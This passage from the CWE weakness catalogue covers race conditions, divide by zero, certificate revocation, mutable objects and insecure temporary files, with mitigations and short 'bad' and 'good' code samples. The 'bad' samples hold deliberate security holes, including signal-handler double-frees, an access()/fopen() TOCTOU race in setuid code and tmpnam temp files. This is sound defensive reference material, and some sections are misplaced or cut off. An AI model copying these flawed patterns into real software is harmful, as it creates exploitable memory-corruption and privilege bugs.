- Use of non-reentrant functionality within a signal handler - which generally implies that shared state is being used. For example, malloc() and free() are non-reentrant because they may use global or static data structures for managing memory, and they are indirectly used by innocent-seeming functions such as syslog(); these functions could be exploited for memory corruption and, possibly, code execution.
- Association of the same signal handler function with multiple signals - which might imply shared state, since the same code and resources are accessed. For example, this can be a source of double-free and use-after-free weaknesses.
- Use of setjmp and longjmp, or other mechanisms that prevent a signal handler from returning control back to the original functionality
- While not technically a race condition, some signal handlers are designed to be called at most once, and being called more than once can introduce security problems, even when there are not any concurrent calls to the signal handler. This can be a source of double-free and use-after-free weaknesses.

Signal handler vulnerabilities are often classified based on the absence of a specific protection mechanism, although this style of classification is discouraged in CWE because programmers often have a choice of several different mechanisms for addressing the weakness. Such protection mechanisms may preserve exclusivity of access to the shared resource, and behavioral atomicity for the relevant code:

- Avoiding shared state
- Using synchronization in the signal handler
- Using synchronization in the regular code
- Disabling or masking other signals, which provides atomicity (which effectively ensures exclusivity)

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Language : C++ *(Prevalence = Sometimes)*

Likelihood Of Exploit

Medium

Common Consequences

Scope	Impact	Likelihood
Integrity Confidentiality Availability	Modify Application Data Modify Memory DoS: Crash, Exit, or Restart Execute Unauthorized Code or Commands *It may be possible to cause data corruption and possibly execute arbitrary code by modifying global variables or data structures at unexpected times, violating the assumptions of code that uses this global data.*	
Access Control	Gain Privileges or Assume Identity *If a signal handler interrupts code that is executing with privileges, it may be possible that the signal handler will also be executed with elevated privileges, possibly making subsequent exploits more severe.*	

Potential Mitigations

Phase: Requirements

Strategy = Language Selection

Use a language that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

Phase: Architecture and Design

Design signal handlers to only set flags, rather than perform complex functionality. These flags can then be checked and acted upon within the main program loop.

Phase: Implementation

Only use reentrant functions within signal handlers. Also, use sanity checks to ensure that state is consistent while performing asynchronous actions that affect the state of execution.

Demonstrative Examples

Example 1:

This code registers the same signal handler function with two different signals (CWE-831). If those signals are sent to the process, the handler creates a log message (specified in the first argument to the program) and exits.

Example Language: C *(bad)*

```
char *logMessage;
void handler (int sigNum) {
    syslog(LOG_NOTICE, "%s\n", logMessage);
    free(logMessage);
    /* artificially increase the size of the timing window to make demonstration of this weakness easier. */
    sleep(10);
    exit(0);
}
int main (int argc, char* argv[]) {
    logMessage = strdup(argv[1]);
    /* Register signal handlers. */
    signal(SIGHUP, handler);
    signal(SIGTERM, handler);
    /* artificially increase the size of the timing window to make demonstration of this weakness easier. */
    sleep(10);
}
```

The handler function uses global state (globalVar and logMessage), and it can be called by both the SIGHUP and SIGTERM signals. An attack scenario might follow these lines:

- The program begins execution, initializes logMessage, and registers the signal handlers for SIGHUP and SIGTERM.
- The program begins its "normal" functionality, which is simplified as sleep(), but could be any functionality that consumes some time.
- The attacker sends SIGHUP, which invokes handler (call this "SIGHUP-handler").
- SIGHUP-handler begins to execute, calling syslog().
- syslog() calls malloc(), which is non-reentrant. malloc() begins to modify metadata to manage the heap.
- The attacker then sends SIGTERM.
- SIGHUP-handler is interrupted, but syslog's malloc call is still executing and has not finished modifying its metadata.
- The SIGTERM handler is invoked.
- SIGTERM-handler records the log message using syslog(), then frees the logMessage variable.

At this point, the state of the heap is uncertain, because malloc is still modifying the metadata for the heap; the metadata might be in an inconsistent state. The SIGTERM-handler call to free() is assuming that the metadata is inconsistent, possibly causing it to write data to the wrong location while managing the heap. The result is memory corruption, which could lead to a crash or even code execution, depending on the circumstances under which the code is running.

Note that this is an adaptation of a classic example as originally presented by Michal Zalewski [REF-360]; the original example was shown to be exploitable for code execution.

Also note that the strdup(argv[1]) call contains a potential buffer over-read (CWE-126) if the program is called without any arguments, because argc would be 0, and argv[1] would point outside the bounds of the array.

Example 2:

The following code registers a signal handler with multiple signals in order to log when a specific event occurs and to free associated memory before exiting.

Example Language: C *(bad)*

```
#include <signal.h>
#include <syslog.h>
#include <string.h>
#include <stdlib.h>
void *global1, *global2;
char *what;
void sh (int dummy) {
    syslog(LOG_NOTICE,"%s\n",what);
    free(global2);
    free(global1);
    /* Sleep statements added to expand timing window for race condition */
    sleep(10);
    exit(0);
}
int main (int argc,char* argv[]) {
    what=argv[1];
    global1=strdup(argv[2]);
    global2=malloc(340);
    signal(SIGHUP,sh);
    signal(SIGTERM,sh);
    /* Sleep statements added to expand timing window for race condition */
    sleep(10);
    exit(0);
}
```

However, the following sequence of events may result in a double-free (CWE-415):

1. a SIGHUP is delivered to the process
2. sh() is invoked to process the SIGHUP
3. This first invocation of sh() reaches the point where global1 is freed
4. At this point, a SIGTERM is sent to the process
5. the second invocation of sh() might do another free of global1
6. this results in a double-free (CWE-415)

This is just one possible exploitation of the above code. As another example, the syslog call may use malloc calls which are not async-signal safe. This could cause corruption of the heap management structures. For more details, consult the example within "Delivering Signals for Fun and Profit" [REF-360].

CWE-365: Race Condition in Switch

Weakness ID : 365 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The code contains a switch statement in which the switched variable can be modified while the switch is still executing, resulting in unexpected behavior.

Extended Description

This issue is particularly important in the case of switch statements that involve fall-through style case statements - i.e., those which do not end with break. If the variable being tested by the switch changes in the course of execution, this could change the intended logic of the switch so much that it places the process in a contradictory state and in some cases could even result in memory corruption.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	367	Time-of-check Time-of-use (TOCTOU) Race Condition	812
PeerOf	B	364	Signal Handler Race Condition	802
PeerOf	B	366	Race Condition within a Thread	809

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	557	Concurrency Issues	1869

Applicable Platforms

Language : C *(Prevalence = Undetermined)*

Language : C++ *(Prevalence = Undetermined)*

Language : Java *(Prevalence = Undetermined)*

Language : C# *(Prevalence = Undetermined)*

Likelihood Of Exploit

Medium

Common Consequences

Scope	Impact	Likelihood
Integrity Other	Alter Execution Logic Unexpected State *This weakness may lead to unexpected system state, resulting in unpredictable behavior.*	

Potential Mitigations

Phase: Implementation

Variables that may be subject to race conditions should be locked before the switch statement starts and only unlocked after the statement ends.

Demonstrative Examples

Example 1:

This example has a switch statement that executes different code depending on the current time.

Example Language: C *(bad)*

```
#include <sys/types.h>
```

```
#include <sys/stat.h>
int main(argc,argv){
    struct stat *sb;
    time_t timer;
    lstat("bar.sh",sb);
    printf("%d\n",sb->st_ctime);
    switch(sb->st_ctime % 2){
        case 0: printf("One option\n");
        break;
        case 1: printf("another option\n");
        break;
        default: printf("huh\n");
        break;
    }
    return 0;
}
```

It seems that the default case of the switch statement should never be reached, as st_ctime % 2 should always be 0 or 1. However, if st_ctime % 2 is 1 when the first case is evaluated, the time may change and st_ctime % 2 may be equal to 0 when the second case is evaluated. The result is that neither case 1 or case 2 execute, and the default option is chosen.

CWE-366: Race Condition within a Thread

Weakness ID : 366 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

If two threads of execution use a resource simultaneously, there exists the possibility that resources may be used while invalid, in turn making the state of execution undefined.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
MemberOf	C	557	Concurrency Issues	1869

Applicable Platforms

Language : C *(Prevalence = Undetermined)*

Language : C++ *(Prevalence = Undetermined)*

Language : Java *(Prevalence = Undetermined)*

Language : C# *(Prevalence = Undetermined)*

Likelihood Of Exploit

Medium

Common Consequences

Scope	Impact	Likelihood
Integrity	Alter Execution Logic	
Other	Unexpected State *The main problem is that -- if a lock is overcome -- data could be altered in a bad state.*	

Potential Mitigations

Phase: Architecture and Design

Use locking functionality. This is the recommended solution. Implement some form of locking mechanism around code which alters or reads persistent data in a multithreaded environment.

Phase: Architecture and Design

Create resource-locking sanity checks. If no inherent locking mechanisms exist, use flags and signals to enforce your own blocking scheme when resources are being used by other threads of execution.

Demonstrative Examples

Example 1:

The following example demonstrates the weakness.

Example Language: C *(bad)*

```
int foo = 0;
int storenum(int num) {
    static int counter = 0;
    counter++;
    if (num > foo) foo = num;
    return foo;
}
```

Example Language: Java *(bad)*

```
public classRace {
    static int foo = 0;
    public static void main() {
        new Threader().start();
        foo = 1;
    }
```

```
    public static class Threader extends Thread {
        public void run() {
            System.out.println(foo);
        }
    }
}
```

Affected Resources

CWE-367: Time-of-check Time-of-use (TOCTOU) Race Condition

Weakness ID : 367 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The software checks the state of a resource before using that resource, but the resource's state can change between the check and the use in a way that invalidates the results of the check. This can cause the software to perform invalid actions when the resource is in an unexpected state.

Extended Description

This weakness can be security-relevant when an attacker can influence the state of the resource between check and use. This can happen with shared resources such as files, memory, or even variables in multithreaded programs.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Alternate Terms

TOCTTOU : The TOCTTOU acronym expands to "Time Of Check To Time Of Use".

TOCCTOU : The TOCCTOU acronym is most likely a typo of TOCTTOU, but it has been used in some influential documents, so the typo is repeated fairly frequently.

Likelihood Of Exploit

Medium

Common Consequences

Scope	Impact	Likelihood
Integrity Other	Alter Execution Logic Unexpected State *The attacker can gain access to otherwise unauthorized resources.*	
Integrity Other	Modify Application Data Modify Files or Directories Modify Memory Other *Race conditions such as this kind may be employed to gain read or write access to resources which are not normally readable or writable by the user in question.*	
Integrity Other	Other *The resource in question, or other resources (through the corrupted one), may be changed in undesirable ways by a malicious user.*	
Non-Repudiation	Hide Activities *If a file or other resource is written in this method, as opposed to in a valid way, logging of the activity may not occur.*	
Non-Repudiation Other	Other *In some cases it may be possible to delete files a malicious user might not otherwise have access to, such as log files.*	

Potential Mitigations

Phase: Implementation

The most basic advice for TOCTOU vulnerabilities is to not perform a check before the use. This does not resolve the underlying issue of the execution of a function on a resource whose state and identity cannot be assured, but it does help to limit the false sense of security given by the check.

Phase: Implementation

When the file being altered is owned by the current user and group, set the effective gid and uid to that of the current user and group when executing this statement.

Phase: Architecture and Design

Limit the interleaving of operations on files from multiple processes.

Phase: Implementation

Phase: Architecture and Design

If you cannot perform operations atomically and you must share access to the resource between multiple processes or threads, then try to limit the amount of time (CPU cycles) between the check and use of the resource. This will not fix the problem, but it could make it more difficult for an attack to succeed.

Phase: Implementation

Recheck the resource after the use call to verify that the action was taken appropriately.

Phase: Architecture and Design

Ensure that some environmental locking mechanism can be used to protect resources effectively.

Phase: Implementation

Ensure that locking occurs before the check, as opposed to afterwards, such that the resource, as checked, is the same as it is when in use.

Demonstrative Examples

Example 1:

The following code checks a file, then updates its contents.

Example Language: C *(bad)*

```
struct stat *sb;
...
lstat("...",sb); // it has not been updated since the last time it was read
printf("stated file\n");
if (sb->st_mtimespec==...){
    print("Now updating things\n");
    updateThings();
}
```

Potentially the file could have been updated between the time of the check and the lstat, especially since the printf has latency.

Example 2:

The following code is from a program installed setuid root. The program performs certain file operations on behalf of non-privileged users, and uses access checks to ensure that it does not use its root privileges to perform operations that should otherwise be unavailable the current user. The program uses the access() system call to check if the person running the program has permission to access the specified file before it opens the file and performs the necessary operations.

Example Language: C *(bad)*

```
if(!access(file,W_OK)) {
    f = fopen(file,"w+");
    operate(f);
    ...
}
else {
    fprintf(stderr,"Unable to open file %s.\n",file);
}
```

The call to access() behaves as expected, and returns 0 if the user running the program has the necessary permissions to write to the file, and -1 otherwise. However, because both access() and fopen() operate on filenames rather than on file handles, there is no guarantee that the file variable still refers to the same file on disk when it is passed to fopen() that it did when it was passed to access(). If an attacker replaces file after the call to access() with a symbolic link to a different file, the program will use its root privileges to operate on the file even if it is a file that the attacker would otherwise be unable to modify. By tricking the program into performing an operation that would otherwise be impermissible, the attacker has gained elevated privileges. This type of vulnerability is not limited to programs with root privileges. If the application is capable of performing any operation that the attacker would not otherwise be allowed perform, then it is a possible target.

Example 3:

This code prints the contents of a file if a user has permission.

Example Language: PHP *(bad)*

```
function readFile($filename){
    $user = getCurrentUser();
    //resolve file if its a symbolic link
```

```
    if(is_link($filename)){
        $filename = readlink($filename);
    }
    if(fileowner($filename) == $user){
        echo file_get_contents($realFile);
        return;
    }
    else{
        echo 'Access denied';
        return false;
    }
}
```

This code attempts to resolve symbolic links before checking the file and printing its contents. However, an attacker may be able to change the file from a real file to a symbolic link between the calls to is_link() and file_get_contents(), allowing the reading of arbitrary files. Note that this code fails to log the attempted access (CWE-778).

Observed Examples

Reference	Description
CVE-2003-0813	A multi-threaded race condition allows remote attackers to cause a denial of service (crash or reboot) by causing two threads to process the same RPC request, which causes one thread to use memory after it has been freed. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0813*

CWE-368: Context Switching Race Condition

Weakness ID : 368 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

A product performs a series of non-atomic actions to switch between contexts that cross privilege or other security boundaries, but a race condition allows an attacker to modify or misrepresent the product's behavior during the switch.

Extended Description

This is commonly seen in web browser vulnerabilities in which the attacker can perform certain actions while the browser is transitioning from a trusted to an untrusted domain, or vice versa, and the browser performs the actions on one domain using the trust level and resources of the other domain.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	362	Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')	793

Nature	Type	ID	Name	Page
CanAlsoBe	B	364	Signal Handler Race Condition	802

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	557	Concurrency Issues	1869

Weakness Ordinalities

Primary : This weakness can be primary to almost anything, depending on the context of the race condition.

Resultant : This weakness can be resultant from insufficient compartmentalization (CWE-653), incorrect locking, improper initialization or shutdown, or a number of other weaknesses.

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Application Data	
Confidentiality	Read Application Data	

Observed Examples

Reference	Description
CVE-2009-1837	Chain: race condition (CWE-362) from improper handling of a page transition in web client while an applet is loading (CWE-368) leads to use after free (CWE-416) *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1837*
CVE-2004-2260	Browser updates address bar as soon as user clicks on a link instead of when the page has loaded, allowing spoofing by redirecting to another page using onUnload method. ** this is one example of the role of "hooks" and context switches, and should be captured somehow - also a race condition of sorts ** *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2260*
CVE-2004-0191	XSS when web browser executes Javascript events in the context of a new page while it's being loaded, allowing interaction with previous page in different domain. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0191*
CVE-2004-2491	Web browser fills in address bar of clicked-on link before page has been loaded, and doesn't update afterward. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2491*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	986	SFP Secondary Cluster: Missing Lock	888	1951

Notes

Relationship

Can overlap signal handler race conditions.

Research Gap

Under-studied as a concept. Frequency unknown; few vulnerability reports give enough detail to know when a context switching race condition is a factor.

CWE-369: Divide By Zero

Weakness ID : 369 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The product divides a value by zero.

Extended Description

This weakness typically occurs when an unexpected value is provided to the product, or if an error occurs that is not properly detected. It frequently occurs in calculations involving physical dimensions such as size, length, width, and height.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	682	Incorrect Calculation	1326

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ChildOf	P	682	Incorrect Calculation	1326

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	189	Numeric Errors	1852

Likelihood Of Exploit

Medium

Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Crash, Exit, or Restart	

Scope	Impact	Likelihood
	A Divide by Zero results in a crash.	

Demonstrative Examples

Example 1:

The following Java example contains a function to compute an average but does not validate that the input value used as the denominator is not zero. This will create an exception for attempting to divide by zero. If this error is not handled by Java exception handling, unexpected results can occur.

Example Language: Java *(bad)*

```
public int computeAverageResponseTime (int totalTime, int numRequests) {
    return totalTime / numRequests;
}
```

By validating the input value used as the denominator the following code will ensure that a divide by zero error will not cause unexpected results. The following Java code example will validate the input value, output an error message, and throw an exception.

Example Language: *(good)*

```
public int computeAverageResponseTime (int totalTime, int numRequests) throws ArithmeticException {
    if (numRequests == 0) {
        System.out.println("Division by zero attempted!");
        throw ArithmeticException;
    }
    return totalTime / numRequests;
}
```

Example 2:

The following C/C++ example contains a function that divides two numeric values without verifying that the input value used as the denominator is not zero. This will create an error for attempting to divide by zero, if this error is not caught by the error handling capabilities of the language, unexpected results can occur.

Example Language: C *(bad)*

```
double divide(double x, double y){
    return x/y;
}
```

By validating the input value used as the denominator the following code will ensure that a divide by zero error will not cause unexpected results. If the method is called and a zero is passed as the second argument a DivideByZero error will be thrown and should be caught by the calling block with an output message indicating the error.

Example Language: *(good)*

```
const int DivideByZero = 10;
double divide(double x, double y){
    if ( 0 == y ){
        throw DivideByZero;
    }
    return x/y;
}
...
try{
    divide(10, 0);
}
catch( int i ){
```

```
    if(i==DivideByZero) {
        cerr<<"Divide by zero error";
    }
}
```

Example 3:

The following C# example contains a function that divides two numeric values without verifying that the input value used as the denominator is not zero. This will create an error for attempting to divide by zero, if this error is not caught by the error handling capabilities of the language, unexpected results can occur.

Example Language: C# *(bad)*

```
int Division(int x, int y){
    return (x / y);
}
```

The method can be modified to raise, catch and handle the DivideByZeroException if the input value used as the denominator is zero.

Example Language: *(good)*

```
int SafeDivision(int x, int y){
    try{
        return (x / y);
    }
    catch (System.DivideByZeroException dbz){
        System.Console.WriteLine("Division by zero attempted!");
        return 0;
    }
}
```

Observed Examples

CWE-370: Missing Check for Certificate Revocation after Initial Check

Weakness ID : 370 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

The software does not check the revocation status of a certificate after its initial revocation check, which can cause the software to perform privileged actions even after the certificate is revoked at a later time.

Extended Description

If the revocation status of a certificate is not checked before each action that requires privileges, the system may be subject to a race condition. If a certificate is revoked after the initial check, all subsequent actions taken with the owner of the revoked certificate will lose all benefits guaranteed by the certificate. In fact, it is almost certain that the use of a revoked certificate indicates malicious activity.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	299	Improper Check for Certificate Revocation	661
PeerOf	B	296	Improper Following of a Certificate's Chain of Trust	653
PeerOf	V	297	Improper Validation of Certificate with Host Mismatch	656
PeerOf	V	298	Improper Validation of Certificate Expiration	659

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1014	Identify Actors	1969

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Likelihood Of Exploit

Medium

Common Consequences

Scope	Impact	Likelihood
Access Control	Gain Privileges or Assume Identity *Trust may be assigned to an entity who is not who it claims to be.*	
Integrity	Modify Application Data *Data from an untrusted (and possibly malicious) source may be integrated.*	
Confidentiality	Read Application Data *Data may be disclosed to an entity impersonating a trusted entity, resulting in information disclosure.*	

Potential Mitigations

Phase: Architecture and Design

Ensure that certificates are checked for revoked status before each use of a protected resource. If the certificate is checked before each access of a protected resource, the delay subject to a possible race condition becomes almost negligible and significantly reduces the risk associated with this issue.

Demonstrative Examples

Example 1:

The following code checks a certificate before performing an action.

Example Language: C *(bad)*

```
if (cert = SSL_get_peer_certificate(ssl)) {
    foo=SSL_get_verify_result(ssl);
    if (X509_V_OK==foo)
        //do stuff
        foo=SSL_get_verify_result(ssl);
        //do more stuff without the check.
```

While the code performs the certificate verification before each action, it does not check the result of the verification after the initial attempt. The certificate may have been revoked in the time between the privileged actions.

CWE-372: Incomplete Internal State Distinction

Weakness ID : 372 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The software does not properly determine which state it is in, causing it to assume it is in state X when in fact it is in state Y, causing it to perform incorrect operations in a security-relevant manner.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	962	SFP Secondary Cluster: Unchecked Status Condition	888	1940

Notes

Relationship

This conceptually overlaps other categories such as insufficient verification, but this entry refers to the product's incorrect perception of its own state.

Relationship

This is probably resultant from other weaknesses such as unhandled error conditions, inability to handle out-of-order steps, multiple interpretation errors, etc.

Maintenance

This entry is being considered for deprecation. It was poorly-defined in PLOVER and is not easily described using the behavior/resource/property model of vulnerability theory.

CWE-374: Passing Mutable Objects to an Untrusted Method

Weakness ID : 374 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The program sends non-cloned mutable data as an argument to a method or function.

Extended Description

The function or method that has been called can alter or delete the mutable data. This could violate assumptions that the calling function has made about its state. In situations where unknown code is called with references to mutable data, this external code could make changes to the data sent. If this data was not previously cloned, the modified data might not be valid in the context of execution.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Applicable Platforms

Language : C *(Prevalence = Undetermined)*

Language : C++ *(Prevalence = Undetermined)*

Language : Java *(Prevalence = Undetermined)*

Language : C# *(Prevalence = Undetermined)*

Likelihood Of Exploit

Medium

Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Memory *Potentially data could be tampered with by another function which should not have been tampered with.*	

Potential Mitigations

Phase: Implementation

Pass in data which should not be altered as constant or immutable.

Phase: Implementation

Clone all mutable data before passing it into an external function . This is the preferred mitigation. This way, regardless of what changes are made to the data, a valid copy is retained for use by the class.

Demonstrative Examples

Example 1:

The following example demonstrates the weakness.

Example Language: C *(bad)*

```
private:
   int foo;
   complexType bar;
   String baz;
   otherClass externalClass;
public:
   void doStuff() {
      externalClass.doOtherStuff(foo, bar, baz)
   }
```

In this example, bar and baz will be passed by reference to doOtherStuff() which may change them.

Example 2:

In the following Java example, the BookStore class manages the sale of books in a bookstore, this class includes the member objects for the bookstore inventory and sales database manager classes. The BookStore class includes a method for updating the sales database and inventory when a book is sold. This method retrieves a Book object from the bookstore inventory object using the supplied ISBN number for the book class, then calls a method for the sales object to update the sales information and then calls a method for the inventory object to update inventory for the BookStore.

Example Language: Java *(bad)*

```
public class BookStore {
   private BookStoreInventory inventory;
   private SalesDBManager sales;
   ...
   // constructor for BookStore
   public BookStore() {
      this.inventory = new BookStoreInventory();
      this.sales = new SalesDBManager();
      ...
```

```
    }
    public void updateSalesAndInventoryForBookSold(String bookISBN) {
        // Get book object from inventory using ISBN
        Book book = inventory.getBookWithISBN(bookISBN);
        // update sales information for book sold
        sales.updateSalesInformation(book);
        // update inventory
        inventory.updateInventory(book);
    }
    // other BookStore methods
    ...
}
public class Book {
    private String title;
    private String author;
    private String isbn;
    // Book object constructors and get/set methods
    ...
}
```

However, in this example the Book object that is retrieved and passed to the method of the sales object could have its contents modified by the method. This could cause unexpected results when the book object is sent to the method for the inventory object to update the inventory.

In the Java programming language arguments to methods are passed by value, however in the case of objects a reference to the object is passed by value to the method. When an object reference is passed as a method argument a copy of the object reference is made within the method and therefore both references point to the same object. This allows the contents of the object to be modified by the method that holds the copy of the object reference. [REF-374]

In this case the contents of the Book object could be modified by the method of the sales object prior to the call to update the inventory.

To prevent the contents of the Book object from being modified, a copy of the Book object should be made before the method call to the sales object. In the following example a copy of the Book object is made using the clone() method and the copy of the Book object is passed to the method of the sales object. This will prevent any changes being made to the original Book object.

Example Language: Java *(good)*

```
...
public void updateSalesAndInventoryForBookSold(String bookISBN) {
    // Get book object from inventory using ISBN
    Book book = inventory.getBookWithISBN(bookISBN);
    // Create copy of book object to make sure contents are not changed
    Book bookSold = (Book) book.clone();
    // update sales information for book sold
    sales.updateSalesInformation(bookSold);
    // update inventory
    inventory.updateInventory(book);
}
...
```

CWE-375: Returning a Mutable Object to an Untrusted Caller

Weakness ID : 375 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

Sending non-cloned mutable data as a return value may result in that data being altered or deleted by the calling function.

Extended Description

In situations where functions return references to mutable data, it is possible that the external code which called the function may make changes to the data sent. If this data was not previously cloned, the class will then be using modified data which may violate assumptions about its internal state.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Applicable Platforms

Language : C *(Prevalence = Undetermined)*

Language : C++ *(Prevalence = Undetermined)*

Language : Java *(Prevalence = Undetermined)*

Language : C# *(Prevalence = Undetermined)*

Likelihood Of Exploit

Medium

Common Consequences

Scope	Impact	Likelihood
Access Control Integrity	Modify Memory *Potentially data could be tampered with by another function which should not have been tampered with.*	

Potential Mitigations

Phase: Implementation

Declare returned data which should not be altered as constant or immutable.

Phase: Implementation

Clone all mutable data before returning references to it. This is the preferred mitigation. This way, regardless of what changes are made to the data, a valid copy is retained for use by the class.

Demonstrative Examples

Example 1:

This class has a private list of patients, but provides a way to see the list :

Example Language: Java *(bad)*

```
public class ClinicalTrial {
   private PatientClass[] patientList = new PatientClass[50];
   public getPatients(...){
      return patientList;
   }
}
```

While this code only means to allow reading of the patient list, the getPatients() method returns a reference to the class's original patient list instead of a reference to a copy of the list. Any caller of this method can arbitrarily modify the contents of the patient list even though it is a private member of the class.

Demonstrative Examples

Example 1:

The following code uses a temporary file for storing intermediate data gathered from the network before it is processed.

Example Language: C *(bad)*

```
if (tmpnam_r(filename)) {
    FILE* tmp = fopen(filename,"wb+");
    while((recv(sock,recvbuf,DATA_SIZE, 0) > 0)&(amt!=0)) amt = fwrite(recvbuf,1,DATA_SIZE,tmp);
}
...
```

This otherwise unremarkable code is vulnerable to a number of different attacks because it relies on an insecure method for creating temporary files. The vulnerabilities introduced by this function and others are described in the following sections. The most egregious security problems related to temporary file creation have occurred on Unix-based operating systems, but Windows applications have parallel risks. This section includes a discussion of temporary file creation on both Unix and Windows systems. Methods and behaviors can vary between systems, but the fundamental risks introduced by each are reasonably constant.

Notes

Other

Applications require temporary files so frequently that many different mechanisms exist for creating them in the C Library and Windows(R) API. Most of these functions are vulnerable to various forms of attacks. The functions designed to aid in the creation of temporary files can be broken into two groups based whether they simply provide a filename or actually open a new file. - Group 1: "Unique" Filenames: The first group of C Library and WinAPI functions designed to help with the process of creating temporary files do so by generating a unique file name for a new temporary file, which the program is then supposed to open. This group includes C Library functions like tmpnam(), tempnam(), mktemp() and their C++ equivalents prefaced with an _ (underscore) as well as the GetTempFileName() function from the Windows API. This group of functions suffers from an underlying race condition on the filename chosen. Although the functions guarantee that the filename is unique at the time it is selected, there is no mechanism to prevent another process or an attacker from creating a file with the same name after it is selected but before the application attempts to open the file. Beyond the risk of a legitimate collision caused by another call to the same function, there is a high probability that an attacker will be able to create a malicious collision because the filenames generated by these functions are not sufficiently randomized to make them difficult to guess. If a file with the selected name is created, then depending on how the file is opened the existing contents or access permissions of the file may remain intact. If the existing contents of the file are malicious in nature, an attacker may be able to inject dangerous data into the application when it reads data back from the temporary file. If an attacker pre-creates the file with relaxed access permissions, then data stored in the temporary file by the application may be accessed, modified or corrupted by an attacker. On Unix based systems an even more insidious attack is possible if the attacker pre-creates the file as a link to another important file. Then, if the application truncates or writes data to the file, it may unwittingly perform damaging operations for the attacker. This is an especially serious threat if the program operates with elevated permissions. Finally, in the best case the file will be opened with the a call to open() using the O_CREAT and O_EXCL flags or to CreateFile() using the CREATE_NEW attribute, which will fail if the file already exists and therefore prevent the types of attacks described above. However, if an attacker is able to accurately predict a sequence of temporary file names, then the application may be prevented from opening necessary temporary storage causing a denial of service (DoS) attack. This type of attack

